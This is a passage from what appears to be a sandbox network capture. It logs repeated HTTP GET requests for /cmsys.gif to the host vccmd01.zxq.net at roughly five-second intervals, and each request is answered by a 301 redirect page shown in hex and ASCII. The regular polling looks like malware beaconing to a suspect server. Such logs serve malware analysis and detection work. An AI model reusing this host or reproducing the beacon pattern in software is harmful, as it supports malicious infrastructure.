font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:19.845168114 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:20.024399996 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:19 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:25.894148111 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:26.073282957 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:25 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:31.327148914 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:31.506266117 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:31 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:36.469264984 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:36.657159090 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:36 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:41.861623049 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:42.041150093 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:41 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:47.796974897 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:47.976233006 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:47 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:53.983978033 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:54.163439989 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:54 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:59.510487080 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:59.690017939 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:59 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:04.688527107 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:04.868623018 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:04 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:11.735500097 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:11.915785074 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:11 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:17.036303043 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
